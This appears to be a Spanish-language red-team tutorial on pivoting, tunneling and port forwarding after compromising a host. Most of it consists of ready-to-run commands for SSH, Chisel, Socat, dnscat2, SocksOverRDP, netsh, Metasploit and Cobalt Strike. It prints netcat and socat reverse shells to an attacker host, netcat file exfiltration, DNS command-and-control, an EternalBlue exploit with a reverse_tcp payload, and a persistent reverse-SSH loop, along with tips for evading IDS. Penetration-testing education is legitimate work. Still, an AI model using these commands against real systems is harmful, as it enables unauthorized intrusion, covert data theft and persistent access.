Secciones
1. Introducción
Cuando estamos en medio de un pentest o ejercicio de red team y logramos comprometer una máquina, muchas veces ese primer acceso no es el objetivo final. Necesitamos movernos, saltar entre sistemas, llegar a redes ocultas. Para eso existen tres armas esenciales: pivoting, tunneling y port forwarding.
Esta guía no solo cubre los conceptos básicos, sino que también entra a fondo en los ejemplos prácticos con herramientas como SSH, ProxyChains, Socat, Metasploit, Chisel, dnscat2, SocksOverRDP, Netsh y Cobalt Strike. Si estás en el mundo del hacking ético, esto es oro.
🎯 2. Pivoting: El Arte de Moverse en la Red
Pivotar es usar una máquina comprometida como trampolín para alcanzar otros equipos inaccesibles directamente desde nuestra máquina de ataque. Es una técnica esencial en redes segmentadas o protegidas, y permite ampliar nuestra visibilidad y alcance dentro del entorno objetivo.
Ejemplo real:
Comprometimos una estación con doble NIC: una conectada a la red empresarial y otra a la red OT. Esa máquina fue nuestro pivote para alcanzar sistemas SCADA inaccesibles desde fuera.
🛠️ Técnicas de Pivoting
✅ Meterpreter (Metasploit)
meterpreter > run post/multi/manage/autoroute
meterpreter > portfwd add -l 3389 -p 3389 -r 172.16.5.25
Esto permite enrutar tráfico hacia redes internas y redirigir puertos locales a servicios ocultos.
✅ SSH con túneles locales y dinámicos
ssh -L 8080:172.16.5.25:80 usuario@10.129.0.10
ssh -D 1080 usuario@10.129.0.10
Puedes usar proxychains
con el túnel dinámico para hacer escaneos o navegación:
proxychains nmap -sT -Pn 172.16.5.0/24
✅ Socat
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.25:80
Permite exponer servicios remotos de forma local.
✅ Descubrir la red accesible desde el pivote
Comandos útiles:
- Linux:
ip a && netstat -rnmap -sn 172.16.5.0/24
- Windows:
ipconfig && route printfor /L %i in (1,1,254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
✅ Usar proxy SOCKS para pivoting universal
Con un túnel SOCKS activo en localhost:1080
, puedes pivotar cualquier herramienta:
proxychains firefox http://172.16.5.25
proxychains msfconsole
Combina herramientas, scripts y visualizaciones de red para no perderte en entornos complejos.
🪤 3. Tunneling: Ocultando el Tráfico
Tunelizar es envolver tu tráfico en otro protocolo para evadir firewalls, IDS o simplemente enrutar por un canal alterno. Es la forma de ocultar el verdadero propósito de tus paquetes bajo una apariencia legítima: tráfico HTTPS, DNS o incluso RDP.
Ejemplo práctico:
Usamos HTTP y HTTPS para tunelizar el tráfico C2 de nuestro malware. Lo disfrazamos como peticiones web normales usando GET y POST.
🧠 Tipos comunes de túneles:
- SSH
- SOCKS
- HTTPS
- DNS (Dnscat2)
- ICMP (ptunnel-ng)
- RDP (SocksOverRDP)
🐚 SSH Dinámico con SOCKS (Proxy Universal):
ssh -D 9050 usuario@10.129.202.64
Esto levanta un proxy SOCKS5 en tu localhost. Luego puedes enrutar herramientas como Nmap, Firefox o Metasploit a través de él:
proxychains nmap -v -sT 172.16.5.19
proxychains firefox http://172.16.5.19
🧬 Chisel para HTTP y SOCKS5:
# En el host de ataque:
./chisel server -p 8000 --reverse
# En la máquina comprometida:
./chisel client <ip_attacker>:8000 R:1080:socks
Esto crea un túnel SOCKS5 sobre HTTP usando modo reverso.
🛰️ Dnscat2 para redes filtradas (DNS over covert channel):
Usa DNS para crear un túnel entre atacante y víctima, ideal cuando solo el puerto 53 está abierto:
ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=acme.local
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain acme.local -Exec cmd
📡 Túnel ICMP con ptunnel-ng:
Cuando ni DNS ni HTTP están disponibles, queda ICMP:
sudo ./ptunnel-ng -p <ip_attacker> -l 2222 -r <ip_attacker> -R 22
ssh -p 2222 usuario@127.0.0.1
🪟 SocksOverRDP:
regsvr32.exe SocksOverRDP-Plugin.dll
Tuneliza tráfico a través de sesiones RDP activas, útil para pivoteo dentro de entornos Windows.
Tunelizar no solo ayuda a evadir controles, sino también a establecer persistencia y canales de comunicación robustos incluso en redes adversas.
🚪 4. Reenvío de Puertos: Acceso Local a Servicios Remotos
El reenvío de puertos (port forwarding) te permite redirigir conexiones desde un puerto en un sistema a otro, ya sea local, remoto o dinámico. Es una herramienta esencial cuando necesitas exponer servicios que normalmente están limitados a la red interna.
Hay tres tipos:
- Local («): Conectas desde tu máquina a un puerto remoto a través de un túnel.
- Remoto («): Permite que alguien acceda a tu máquina a través de un túnel que tú creas desde el host remoto.
- Dinámico («): Se convierte en un proxy SOCKS completo.
🔗 Local Port Forward:
Este tipo de túnel expone un servicio del host remoto en tu máquina local.
ssh -L 3306:localhost:3306 usuario@10.129.202.64
Puedes acceder a localhost:3306
en tu equipo y comunicarte con el MySQL remoto.
También puedes encadenar varios reenvíos:
ssh -L 1234:localhost:3306 -L 8080:localhost:80 usuario@10.129.202.64
Esto te permite conectarte al puerto 3306 (MySQL) y 80 (web) del host remoto desde tu propio equipo.
Verifica que estén funcionando:
netstat -antp | grep 1234
nmap -sV -p 1234 localhost
🔀 Remote Port Forward:
ssh -R 8080:127.0.0.1:80 usuario@host_remoto
🧰 5. Socat y Netcat: Los Reyes del Redireccionamiento
Ambas herramientas permiten redirigir conexiones de red entre sistemas o interfaces, ya sea para exponer servicios internos, construir túneles simples, o establecer shells reversas. Son fundamentales en cualquier ejercicio de red team.
Socat:
Socat permite configuraciones avanzadas de red, incluyendo cifrado, múltiples protocolos y compatibilidad con UNIX sockets.
# Reenvía puerto local 8080 a una IP interna en otro segmento
socat TCP4-LISTEN:8080,fork TCP4:192.168.1.100:80
# Reenvío cifrado con certificados (requiere OpenSSL)
socat OPENSSL-LISTEN:443,reuseaddr,fork,cert=cert.pem,key=key.pem TCP4:127.0.0.1:22
También puede servir como canal para shells:
socat TCP4:<ip_kali>:4444 EXEC:/bin/bash
Netcat:
Netcat es una herramienta más sencilla pero poderosa. Puede actuar como cliente o servidor TCP/UDP.
# Redirige tráfico desde tu máquina al host interno
nc -lvp 8080 -c "nc 192.168.1.100 80"
# Shell reversa simple
# En el host atacante:
nc -lvnp 4444
# En el host víctima:
nc <ip_kali> 4444 -e /bin/bash
También es útil para transferir archivos:
# En el receptor:
nc -lvnp 1234 > archivo_recibido
# En el emisor:
cat archivo | nc <ip_receptor> 1234
Netcat tradicional puede ser reemplazado por ncat
de Nmap o socat
si se requieren capacidades más avanzadas.
🤖 6. Metasploit + Proxychains
Cuando ya tienes un túnel activo y accesible desde proxychains
, puedes aprovechar Metasploit para lanzar escaneos, exploits o conexiones directamente desde tu máquina, pero redirigidas a través del pivote.
Ejemplo práctico:
Tienes un túnel SOCKS activo (por ejemplo, vía SSH dinámico o Chisel en 127.0.0.1:1080
). Configura /etc/proxychains.conf
:
socks5 127.0.0.1 1080
Luego ejecutas Metasploit bajo proxychains:
proxychains msfconsole
Dentro de Metasploit, puedes usar cualquier módulo que funcione con RHOSTS
, como escáneres, exploits, exploits SMB, etc.
Escaneo RDP:
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 172.16.5.19
run
Módulo SMB:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.16.5.19
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <tu_IP>
exploit
Puedes utilizar cualquier módulo TCP, incluyendo HTTP, FTP, VNC, PostgreSQL, etc., siempre que el tráfico pase por el túnel proxy.
Este enfoque es extremadamente útil cuando Metasploit no tiene acceso directo a la red interna y necesitas pivotar sin desplegar agentes adicionales.
🪧 7. Chisel: Túneles HTTP y SOCKS5
Chisel es una herramienta muy útil para crear túneles sobre HTTP o WebSocket. Es ideal para entornos donde sólo están abiertos los puertos 80 o 443, y quieres establecer un túnel SOCKS5 entre la máquina comprometida y tu equipo atacante.
A diferencia de SSH, no requiere una cuenta de usuario válida, y es fácil de trasladar en entornos Windows y Linux gracias a sus binarios standalone.
Casos de uso típicos:
- Crear un túnel reverso cuando sólo tienes salida por HTTP.
- Acceder a una red interna tras un firewall que permite navegación web.
- Reemplazo de SSH dinámico cuando no hay puerto 22 disponible.
📡 Modo SOCKS5 reverso:
En tu máquina atacante (Kali):
./chisel server -v -p 8000 --reverse
En la víctima:
./chisel client <IP_KALI>:8000 R:1080:socks
Esto crea un túnel desde la máquina víctima hacia tu Kali, exponiendo un servidor SOCKS5 que puedes usar con:
proxychains firefox http://172.16.5.25
proxychains nmap -sT -Pn 172.16.5.0/24
🔁 Otras combinaciones útiles:
- Redireccionar puertos TCP:
./chisel client <IP_KALI>:8000 R:9999:127.0.0.1:3389# Acceder desde Kali a RDP víctima en localhost:9999
- Encapsular tráfico para Metasploit, RDP, SMB, MySQL u otros servicios.
Chisel es ligero, rápido y perfecto para escenarios donde necesitas moverte con sigilo y eficacia.
Servidor en Kali:
./chisel server -v -p 1234 --socks5
Cliente en la víctima:
./chisel client <IP_KALI>:1234 socks
📶 8. Dnscat2: Tunelizando vía DNS
Cuando todas las demás vías están cerradas, el túnel DNS es una de las opciones más sigilosas. Dnscat2 utiliza peticiones DNS para encapsular comandos y respuestas entre atacante y víctima. Es ideal para redes que sólo permiten tráfico saliente por el puerto 53 (DNS).
📡 Características principales:
- Completamente bidireccional
- Soporte para ejecución de comandos
- Integración con PowerShell para entornos Windows
- Perfecto para ambientes corporativos con restricciones fuertes
🖥️ En el servidor (máquina de ataque):
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=acme.local
Esto levanta el listener DNS que procesará todas las peticiones.
🪟 En la víctima (PowerShell):
Import-Module ./dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain acme.local -Exec cmd
La víctima se conecta y comienza una sesión interactiva. Puedes ejecutar comandos, transferir archivos, establecer persistencia o incluso configurar reenvío de puertos.
🧠 Tips prácticos:
- Usa un dominio legítimo y subdominios dinámicos para evitar ser detectado.
- Cambia la frecuencia y el tamaño de las peticiones para evadir IDS.
- Si tienes control del DNS corporativo (misconfigured DNS), puedes aprovechar aún más la visibilidad.
Dnscat2 es uno de los métodos más potentes para mantener comunicación bajo alta restricción, y con la ventaja de ser extremadamente difícil de bloquear sin romper funcionalidad legítima de red.
🌐 9. SocksOverRDP: RDP como Proxy SOCKS
SocksOverRDP es una herramienta que permite usar una sesión RDP activa como punto de salida para túneles tipo SOCKS5. Esto resulta extremadamente útil cuando una máquina a la que accedes vía escritorio remoto tiene acceso a redes internas restringidas.
🧰 Cómo funciona:
Instalas un plugin DLL en la sesión de RDP activa (ya sea manualmente o automatizado por GPO/powershell). Ese plugin levanta un servidor SOCKS en la sesión del usuario, permitiendo a tu equipo atacante enviar tráfico hacia redes internas como si estuvieras físicamente dentro de esa sesión RDP.
🔌 Instalación del plugin:
regsvr32.exe SocksOverRDP-Plugin.dll
Este comando carga la DLL que activa el proxy. Puedes verificar su funcionamiento accediendo a localhost:1080
desde la máquina con RDP.
🧪 Pruebas con proxychains:
Desde la máquina atacante que tiene túnel con esa sesión RDP:
proxychains nmap -sT 172.16.0.0/24
proxychains rdesktop 172.16.0.12
🛑 Consideraciones:
- Solo funciona mientras la sesión RDP esté activa.
- El túnel es temporal y debe reiniciarse si se cierra sesión.
- Puede evadir proxies corporativos si el RDP tiene más libertades de red.
SocksOverRDP es ideal para pivotar con bajo perfil en entornos Windows fuertemente segmentados, sin necesidad de cargar herramientas adicionales como Meterpreter o Cobalt Strike.
🌍 10. netsh en Windows: Reenvío Local
La utilidad netsh
integrada en Windows permite realizar reenvío de puertos sin necesidad de herramientas externas. Esto es especialmente útil cuando tienes acceso RDP o shell en una máquina Windows que puede alcanzar redes internas, pero donde no puedes ejecutar binarios personalizados.
📌 Caso de uso:
Tienes acceso a una máquina Windows con visibilidad hacia una red interna (por ejemplo, 172.16.5.0/24
). Puedes usar netsh
para reenviar una conexión desde esa máquina hacia un objetivo RDP oculto:
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
Esto hace que cualquier conexión al puerto 8080 en 10.129.42.198
sea redirigida al puerto 3389 del host 172.16.5.25
.
🔄 Comandos adicionales útiles:
- Listar reglas activas:
netsh interface portproxy show all
- Eliminar una regla específica:
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=10.129.42.198
🛑 Consideraciones:
- El reenvío funciona solo si el servicio en el puerto objetivo responde correctamente desde la máquina con la regla activa.
- No aplica NAT ni firewall, solo redirección de sockets.
- Puede combinarse con
rdesktop
,mstsc
,nmap
o cualquier cliente que acceda alocalhost:<puerto>
desde fuera.
netsh
es una opción nativa y sigilosa que puede darte un túnel útil sin necesidad de transferir herramientas o explotar vulnerabilidades adicionales.
🚀 11. Cobalt Strike: Pivoting Pro
Cobalt Strike es una de las herramientas más potentes para ejercicios de red team en entornos avanzados. Su sistema de «beacons» permite una comunicación persistente y flexible, y es capaz de interactuar con múltiples redes segmentadas gracias a sus funciones de tunneling y pivoting.
⚙️ Funcionalidades clave:
- Beacons que pueden usar HTTP, HTTPS, DNS o SMB para C2
- Pivoting con proxies SOCKS integrados
- Movimiento lateral con PowerShell, WMI, PsExec y DCOM
- Port forwarding y stage-less payloads
🧪 Crear un listener y tunelizar con SOCKS:
- Abre Cobalt Strike >
Listeners
- Crea un nuevo Listener HTTP (puerto 80 o 443)
- Envía un payload a la víctima con:
windows/beacon_http/reverse_http
- Una vez que el beacon esté activo, abre un servidor SOCKS:
Cobalt Strike > View > Proxy Pivots > Add Pivot > Start SOCKS Proxy
🧵 ProxyChains y herramientas externas:
Edita tu /etc/proxychains.conf
:
socks5 127.0.0.1 1080
Y lánzalo con cualquier herramienta:
proxychains nmap -Pn -sT 172.16.10.0/24
proxychains rdesktop 172.16.10.5
🧩 Red interna y lateral movement:
- Usa el comando
jump
para escalar dentro de la red. - Con
spawnas
, ejecutas un nuevo beacon como otro usuario. - Con
pivot
, puedes establecer nuevos túneles desde beacons hijos.
🎯 Consejo avanzado:
Combina Cobalt Strike con herramientas como Chisel o SSH inverso para encadenar múltiples túneles y establecer comunicación en entornos con proxies corporativos, firewalls restrictivos o inspección de tráfico profundo.
El potencial de Cobalt Strike como herramienta de pivoting es enorme, pero requiere práctica, observación y disciplina operativa para mantenerse sigiloso y eficaz.
🔮 12. Nivel Experto: Técnicas Avanzadas
Estas técnicas son utilizadas cuando necesitas permanecer oculto, evadir inspección profunda, mantener acceso persistente o establecer canales de comunicación fuera de lo convencional.
🌋 Port Knocking:
Port Knocking es una técnica en la que una secuencia de paquetes a puertos específicos «desbloquea» un servicio oculto, como SSH, que normalmente estaría cerrado al mundo externo.
knock <IP> 7000 8000 9000 -d 200
Después de esta secuencia, por ejemplo, el puerto 22 podría abrirse durante 30 segundos para permitir el acceso remoto. Herramientas como knockd
en Linux te permiten configurar estas reglas fácilmente.
Ejemplo de configuración en /etc/knockd.conf
:
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
⚛️ Reverse SSH con Autoconexión:
Perfecto para mantener una vía de acceso desde una máquina comprometida sin abrir puertos en ella. Se establece un túnel desde la víctima hacia el atacante, lo cual funciona incluso en NATs o firewalls restrictivos.
En la víctima:
while true; do ssh -N -R 2222:localhost:22 usuario@tuIP; sleep 60; done
Esto intenta cada 60 segundos reconectar un túnel reverso. Desde el host atacante puedes luego acceder vía:
ssh -p 2222 localhost
También puedes extender esto para redireccionar múltiples puertos o establecer conexiones persistentes usando autossh
.
Instalación de autossh (en Debian/Ubuntu):
sudo apt install autossh
Ejemplo con autossh:
autossh -M 0 -N -R 2222:localhost:22 usuario@tuIP
Con esta configuración puedes incluso automatizar el arranque del túnel vía cron, systemd o scripts de persistencia.
🚀 13. Conclusión
Pivotar, tunelizar y reenviar puertos es la trifecta de movilidad y evasión para red teamers. Dominar estas técnicas te permite adaptarte a cualquier entorno, no importa cuánto intenten segmentarlo o bloquearte. Practica con cada herramienta, dibuja tus redes, automatiza procesos, y mantente siempre aprendiendo.